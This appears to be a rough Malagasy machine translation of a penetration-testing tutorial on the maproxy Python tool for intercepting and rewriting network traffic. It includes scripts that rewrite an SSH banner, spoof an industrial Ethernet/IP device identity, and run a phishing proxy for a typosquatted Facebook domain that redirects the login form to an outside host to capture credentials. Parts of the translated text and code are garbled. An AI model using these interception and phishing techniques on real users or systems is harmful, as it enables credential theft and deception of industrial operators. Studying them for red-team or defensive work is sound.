Atsofohy amin'ny lalitra ny angona tambazotra

Ny fandikana ny lahatsoratra dia nomanina tamin'ny fiandohan'ny fianarana “Pentest. Fanazaran-tena fitsapana penetration".

Atsofohy amin'ny lalitra ny angona tambazotra

Filazana fohy

Karazana fanombanana fiarovana isan-karazany, manomboka amin'ny fitsirihana tsy tapaka sy ny fiasan'ny Red Team ka hatramin'ny fijirihana ny fitaovana IoT/ICS sy ny SCADA, dia tafiditra amin'ny fiaraha-miasa amin'ny protocoles amin'ny tambajotra binary, izany hoe, amin'ny ankapobeny ny fisakanana sy ny fanovana ny angon-drakitra misy eo amin'ny mpanjifa sy ny lasibatra. Tsy asa sarotra ny fitsikilovana ny fifamoivoizana amin'ny tambajotra satria manana fitaovana toa an'i Wireshark, Tcpdump na Scapy isika, saingy toa asa sarotra kokoa ny fanovana satria mila manana karazana interface tsara isika mba hamakiana ny angon'ny tambajotra, hanivana azy, hanova. izany amin'ny lalitra ary alefaso any amin'ny mpampiantrano kendrena amin'ny fotoana tena izy. Ho fanampin'izay, mety tsara raha toa ny fitaovana toy izany dia afaka miasa ho azy miaraka amin'ny fifandraisana parallèle maromaro ary azo zahana amin'ny fampiasana script.

Indray andro aho dia nahita fitaovana iray antsoina hoe maproxy, ny antontan-taratasy dia nazava tamiko haingana izany maproxy – izay ilaiko ihany. Izy io dia proxy TCP tsotra, maro samihafa ary mora azo amboarina. Nanandrana ity fitaovana ity aho tamin'ny rindranasa saro-takarina maromaro, anisan'izany ny fitaovana ICS (izay miteraka fonosana be dia be) mba hahitana raha afaka mifandray amin'ny fifandraisana mifanandrify maro, ary mandeha tsara ilay fitaovana.

Ity lahatsoratra ity dia hampahafantatra anao ny fanodinana angon-drakitra amin'ny alàlan'ny lalitra maproxy.

topy maso

fitaovana maproxy dia mifototra amin'ny Tornado, rafitra tambajotra asynchronous malaza sy matotra amin'ny Python.

Amin'ny ankapobeny dia afaka miasa amin'ny fomba maro izy io:

  • TCP:TCP - fifandraisana TCP tsy voafehy;
  • TCP:SSL и SSL:TCP - miaraka amin'ny encryption tokana;
  • SSL:SSL - encryption roa.

Tonga toy ny tranomboky izy io. Ho fanombohana haingana, azonao atao ny mampiasa rakitra ohatra izay maneho ny tena asa famakiam-boky:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Tranga 1 – proxy bidirectional tsotra

Miankina amin'ny tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

amin'ny alalan'ny toerana misy anao ProxyServer() maka hevitra roa - ny toerana fifandraisana sy ny seranan-tsambo kendrena. server.listen() maka hevitra iray - ny seranan-tsambo hihaino ny fifandraisana ho avy.

Manatanteraka ny script:

# python tcp2tcp.py

Mba hampandehanana ny fitsapana, dia hifandray amin'ny mpizara SSH eo an-toerana isika amin'ny alàlan'ny script proxy, izay mihaino amin'ny 2222/tcp seranana ary mifandray amin'ny seranan-tsambo mahazatra 22/tcp Mpizara SSH:

Atsofohy amin'ny lalitra ny angona tambazotra

Ny sora-baventy tongasoa dia mampahafantatra anao fa ny script ohatra anay dia nahomby tamin'ny proxy ny fifamoivoizana tambajotra.

Tranga 2 – fanovana angon-drakitra

Soraty demo hafa logging_proxy.py tsara indrindra amin'ny fifandraisana amin'ny angona tambajotra. Ny fanehoan-kevitra ao amin'ny rakitra dia mamaritra ny fomba kilasy azonao ovaina mba hahatratrarana ny tanjonao:

Atsofohy amin'ny lalitra ny angona tambazotra

Ny zavatra mahaliana indrindra dia eto:

  • on_c2p_done_read - hanakana ny angona eny an-dalana avy amin'ny mpanjifa mankany amin'ny mpizara;
  • on_p2s_done_read - mivadika.

Andeha isika hanova ny sora-baventy SSH izay averin'ny mpizara amin'ny mpanjifa:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Fenoy ny script:

Atsofohy amin'ny lalitra ny angona tambazotra

Araka ny hitanao dia voafitaka ilay mpanjifa satria niova ny anaran'ny mpizara SSH ho azy «DumnySSH».

Atsofohy amin'ny lalitra ny angona tambazotra

Tranga 3 – pejy web phishing tsotra

Misy fomba tsy manam-petra hampiasana ity fitaovana ity. Amin'ity indray mitoraka ity, andeha isika hifantoka amin'ny zavatra azo ampiharina kokoa amin'ny lafiny fiasan'ny Red Team. Andao haka tahaka ny pejy fipetrahana m.facebook.com ary mampiasa sehatra manokana miaraka amin'ny fahadisoana diso, ohatra, m.facebok.com. Ho an'ny tanjona fihetsiketsehana, andeha ataontsika fotsiny hoe ny sehatra no misoratra anarana.

Hametraka fifandraisana amin'ny tambajotra tsy voafehy miaraka amin'ny proxy lasibatra sy ny SSL Stream amin'ny mpizara Facebook izahay (31.13.81.36). Mba hampandehanana an'ity ohatra ity dia mila manolo ny lohatenin'ny mpampiantrano HTTP isika ary manindrona ny anaran'ny mpampiantrano marina, ary hofoanana ihany koa ny famandrihan'ny valinteny mba hahafahantsika miditra mora foana amin'ny atiny. Amin'ny farany dia hosoloinay ny endrika HTML mba handefasana anay ny fahazoan-dàlana fidirana fa tsy ny lohamilina Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/mg/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Ho famintinana:

Atsofohy amin'ny lalitra ny angona tambazotra

Araka ny hitanao dia vitanay soa aman-tsara ny fanoloana ny tranokala voalohany.

Tranga 4 – Famoahana Ethernet/IP

Efa ela aho no niatrika fitaovana indostrialy sy rindrambaiko (ICS/SCADA), toy ny programmable controllers (PLC), I/O modules, drives, relays, tontolo iainana fandaharana tohatra sy ny maro hafa. Ity tranga ity dia ho an'ireo tia zavatra indostrialy. Ny fametahana vahaolana toy izany dia tafiditra amin'ny filalaovana mavitrika amin'ny protocols amin'ny tambajotra. Amin'ity ohatra manaraka ity dia tiako ny hampiseho ny fomba ahafahanao manova ny fifamoivoizana amin'ny tambajotra ICS/SCADA.

Mba hanaovana izany dia mila ireto manaraka ireto ianao:

  • Network sniffer, ohatra, Wireshark;
  • Ethernet / IP na fitaovana SIP fotsiny, azonao atao ny mahita azy amin'ny alàlan'ny serivisy Shodan;
  • Ny scripty dia mifototra amin'ny maproxy.

Voalohany, andeha hojerentsika ny endriky ny valin'ny famantarana mahazatra avy amin'ny CIP (Common Industrial Protocol):

Atsofohy amin'ny lalitra ny angona tambazotra

Ny famantarana ny fitaovana dia vita amin'ny alàlan'ny protocol Ethernet/IP, izay dikan-teny nohatsaraina amin'ny protocol Ethernet indostrialy izay mametaka ireo protocole fanaraha-maso toy ny CIP. Hanova ny anaran'ny ID misongadina izay hita ao amin'ny pikantsary "NI-IndComm ho an'ny Ethernet" mampiasa ny script proxy. Azontsika ampiasaina indray ilay script logging_proxy.py ary ovay toy izany koa ny fomba kilasy on_p2s_done_read, satria tianay ho hita eo amin'ny mpanjifa ny anaran'olona hafa.

code:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Amin'ny ankapobeny, nangataka famantarana ny fitaovana indroa izahay, ny valiny faharoa dia ny voalohany, ary ny voalohany dia novaina tamin'ny fiaramanidina.

Ary farany

Raha ny hevitro maproxy Fitaovana mora sy tsotra, izay voasoratra amin'ny Python ihany koa, ka mino aho fa afaka mahazo tombony amin'ny fampiasana azy koa ianao. Mazava ho azy fa misy fitaovana sarotra kokoa amin'ny fanodinana sy fanovana ny angon-drakitra tambajotra, saingy mitaky fiheverana bebe kokoa ihany koa izy ireo ary matetika noforonina ho an'ny tranga fampiasana manokana, ohatra. Muraena, Modlishka na evilginx ho an'ny tranga mitovy amin'ny fahatelo, na canape ho an'ny tranga farany. Amin'ny fomba iray na hafa, miaraka amin'ny fanampiana maproxy azonao atao ny mampihatra haingana ny hevitrao amin'ny fisakanana angon-drakitra amin'ny tambajotra, satria mazava tsara ny scripts ohatra.

Fanandramana mekanika fanamarinana amin'ny Windows AD

Source: www.habr.com

Add a comment